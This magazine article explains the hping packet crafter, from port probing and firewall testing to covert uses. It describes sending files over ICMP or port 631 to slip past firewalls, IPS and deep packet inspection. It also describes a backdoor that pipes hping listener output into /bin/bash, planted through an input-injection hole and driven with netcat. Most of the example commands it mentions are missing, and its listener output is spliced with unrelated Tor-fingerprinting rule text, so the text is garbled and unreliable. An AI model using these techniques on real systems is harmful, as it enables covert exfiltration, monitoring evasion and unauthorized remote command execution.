Hping (The Part I Forgot)
by Gr@ve_Rose
In my last article ("Essential Security Tools," Winter 2007-2008), I wrote about some security tools, told readers where to get them, and gave a basic introduction of what they do.
Most astute readers may have noticed that the section on Hping was very brief. When I was drafting the article, I was moving subjects around, and so I misplaced the main body of my Hping section. When I received my copy of 2600 and noticed this, I firmly planted my face in the palm of my hand and let out a loud "D'oh!"
To make up for it and to absolve myself of this error, I am dedicating this article entirely to the Hping utility.
Hping, at its most basic, is a packet crafter.
You can get a lot of use out of just this basic function. Let's examine using Hping to "ping" a TCP port:
In this example, we've asked Hping to send the local host TCP/SYN packets ( -S ), with the destination TCP port set to -p 22, which is for SSH.
The reply packets we get are the next part of the TCP three-way handshake, with the SYN/ACK flags set.
This is indicated in Hping by the flags=SA field.
This tells us that the TCP port is open and that we are allowed to access that TCP port.
This is useful in testing whether or not your firewall rules are set up properly.
Let's say that you have a web server and that you want to ensure that people from the 10.20.30.0/24 network are allowed to access it. You can just Hping the server with the SYN flag set and see if you get a reply.
You can set all, some, or none of the TCP flags if you wish to check TCP stacks or your Intrusion Protection System (IPS).
For example, if you have an IPS set up and you want to test your filters against odd TCP flag settings, you can use Hping to do that:
In addition to TCP packets, Hping can send UDP.
The next example shows UDP packets sent to port 0, which is not listening, on a (((Check Point))) box:
Even though nothing is listening on that port on that host, we still know that the IP address is alive. It should be noted that some firewall software and operating systems will just drop these packets without sending anything back.
You can even craft packets at the IP layer, though this can be a bit tricky, depending on the protocol you that are attempting to use.
In the tcpdump output shown below, I used:
to send IP packets to IP Protocol 41, which is IPv6-in-IPv4, without any payload:
# tcpdump -n -vv -e -s 1514 -X -i lo proto 41 tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 1514 bytes 20:37:11.580742 00:00:00:00:00:00 > 00:00:00:00:00:00, ethertype IPv4 (0x0800), length 34: (tos 0x0, ttl 64, id 50258, offset 0, flags [none], proto IPv6 (41), length 20) 127.0.0.1 > 127.0.0.1: [|ip6] 0x0000: 4500 0014 c452 0000 4029 b86c 7f00 0001 E....R..@).l.... 0x0010: 7f00 0001 .... 20:37:12.580879 00:00:00:00:00:00 > 00:00:00:00:00:00, ethertype IPv4 (0x0800), length 34: (tos 0x0, ttl 64, id 63014, offset 0, flags [none], proto IPv6 (41), length 20) 127.0.0.1 > 127.0.0.1: [|ip6] 0x0000: 4500 0014 f626 0000 4029 8698 7f00 0001 E....&..@)...... 0x0010: 7f00 0001 .... 20:37:13.581001 00:00:00:00:00:00 > 00:00:00:00:00:00, ethertype IPv4 (0x0800), length 34: (tos 0x0, ttl 64, id 37743, offset 0, flags [none], proto IPv6 (41), length 20) 127.0.0.1 > 127.0.0.1: [|ip6] 0x0000: 4500 0014 936f 0000 4029 e94f 7f00 0001 E....o..@).O.... 0x0010: 7f00 0001 .... 20:37:14.581091 00:00:00:00:00:00 > 00:00:00:00:00:00, ethertype IPv4 (0x0800), length 34: (tos 0x0, ttl 64, id 15646, offset 0, flags [none], proto IPv6 (41), length 20) 127.0.0.1 > 127.0.0.1: [|ip6] 0x0000: 4500 0014 3d1e 0000 4029 3fa1 7f00 0001 E...=...@)?..... 0x0010: 7f00 0001 .... 20:37:15.581175 00:00:00:00:00:00 > 00:00:00:00:00:00, ethertype IPv4 (0x0800), length 34: (tos 0x0, ttl 64, id 24025, offset 0, flags [none], proto IPv6 (41), length 20) 127.0.0.1 > 127.0.0.1: [|ip6] 0x0000: 4500 0014 5dd9 0000 4029 1ee6 7f00 0001 E...]...@)...... 0x0010: 7f00 0001 .... 20:37:16.581326 00:00:00:00:00:00 > 00:00:00:00:00:00, ethertype IPv4 (0x0800), length 34: (tos 0x0, ttl 64, id 24213, offset 0, flags [none], proto IPv6 (41), length 20) 127.0.0.1 > 127.0.0.1: [|ip6] 0x0000: 4500 0014 5e95 0000 4029 1e2a 7f00 0001 E...^...@).*.... 0x0010: 7f00 0001 .... ...The last of the basics I'm going to talk about is the ability to specify your source address.
This is excellent for testing anti-spoofing features of your firewall or to perform "idle" scans. I leave that as a project for you to figure out on your own.
Now that you know how to craft basic packets with Hping, you may start to wonder why you would use this for anything except port scans or security-related measures.
Imagine that you work for a managed service provider and that you need to monitor both system health and service health. You can incorporate Hping into your service health monitoring by setting up a basic script which will craft packets, send them to the service in question, deliver a payload if needed, and then report back to your management station whether or not the service is up, depending on the response received by Hping.
Advanced Features
One of Hping's nice features is the ability to transfer files across a "ping" session.
I've only done this with text files, but I'm sure that someone out there knows how to successfully transfer a binary file like an image.
Suppose you have a text file that you need to transfer, but all the normal file transfer options like FTP(S), SFTP/SCP, and HTTP(S) are blocked by a firewall; however, ICMP is allowed out.
You can use Hping to transfer the file across ICMP.
First you will have to set your target server to be in a listen state:
Now that we have someone listening, let's transfer the file from our source machine:
The listening side will then show:
target# hping3 localhost --listen signature --safe --icmp Warning: Unable to guess the output interface hping3 listen mode [main] memlockall(): No such device Warning: can't disable memory paging! // START_DEFINITION /** * Fingerprint Tor authoritative directories enacting the directory protocol. */ fingerprint('anonymizer/tor/node/authority') = $tor_authority and ($tor_directory or preappid(/anonymizer\/tor\/directory/)); // END_DEFINITION // START_DEFINITION /* Global Variable for Tor foreign directory servers. Searching for potential Tor clients connecting to the Tor foreign directory servers on ports 80 and 443. */ $tor_ ...Looks like we managed to transfer our important file successfully!
Most people won't sit and examine ICMP logs, so you may be able to evade any firewall or IPS in the way.
Let's examine the same scenario, except the location you are at only allows CUPS outbound and does Deep Packet Inspection (DPI), so you can't re-bind your FTP or SFTP server to that port.
I know this is far-fetched, but work with me on this one.
You can transfer the file to your server over CUPS without interfering with the running CUPS server on the remote end:
The command to send the file over TCP with no flags looks like this:
source# hping2 localhost --listen signature --safe -p 631 Warning: Unable to guess the output interface hping3 listen mode [main] memlockall(): No such device Warning: can't disable memory paging! // START_DEFINITION /** * Fingerprint Tor authoritative directories enacting the directory protocol. */ fingerprint('anonymizer/tor/node/authority') = $tor_authority and ($tor_directory or preappid(/anonymizer\/tor\/directory/)); // END_DEFINITION // START_DEFINITION /* Global Variable for Tor foreign directory servers. Searching for potential Tor clients connecting to the Tor foreign directory servers on ports 80 and 443. */ $tor_ ...Keep in mind that files transferred this way are not encrypted.
Although most people won't be inspecting packets that much, anyone snooping on the wire can grab your information.
You can also use Hping as a back door.
Get the following command running on a remote host, possibly through an insecure website with an unchecked input variable:
Then, use Netcat to do something like this:
Anything after the word "signature" in the echo command will be processed by the /bin/bash to which Hping's output is being piped, and so the server reboots.
Try this with your own machines:
to check that the listener will process what is being asked of it.
You won't see anything on the console, but when you stop Hping and do a quick ls, you should now see a new file called fartpeepoop file in the current directory of the remote machine.
Another use for this technique is as a "port knocker."
If you don't want to leave your SSH daemon up and running all the time, set up Hping on your SSH server.
Whenever you want to start your SSH daemon, use the command: signatureservice sshd start;
Conclusion
As you can see, Hping is a great tool for both basic and more advanced applications, and it can be used in a variety of different ways.
It's excellent for helping people to learn how the IP stack works, especially the TCP flag settings, and it's great to use in or along with custom applications.
The topics I've covered here in this article are just the beginning, and I strongly urge you to become familiar with this powerful tool.
Shouts: magikh0e, lhab, Exial, JohnPNP and, of course, eXoDuS. (YNBABWARL!)